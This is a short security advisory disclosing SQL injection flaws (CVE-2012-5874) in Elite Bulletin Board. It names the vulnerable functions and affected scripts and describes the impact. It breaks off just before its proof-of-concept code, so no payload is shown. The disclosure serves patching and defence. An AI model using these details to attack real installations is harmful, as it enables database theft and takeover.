Multiple SQL Injection Vulnerabilities in Elite Bulletin Board

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Elite Bulletin Board, which can be exploited to perform SQL injection attacks.

1. Multiple SQL injection vulnerabilities in Elite Bulletin Board: CVE-2012-5874
   The vulnerabilities exist due to insufficient sanitation of user-supplied data in URI in the “update_whosonline_reg()” and “update_whosonline_guest()” functions within the “/includes/user_function.php” script.
   A remote attacker can send a specially crafted HTTP request to one of the following scripts and execute arbitrary SQL commands in application’s database:
   - checkuser.php
   - groups.php
   - index.php
   - login.php
   - quicklogin.php
   - register.php
   - Search.php
   - viewboard.php
   - viewtopic.php
   Successful exploitation of the vulnerabilities may allow attacker to extract sensitive data from the application’s database, and even get complete control over the application under certain conditions (such as insecure configuration of database and web servers).
   The following PoC (Proof of Concept) codes demonstrate the vulnerabilities by displaying version of the MySQL server:
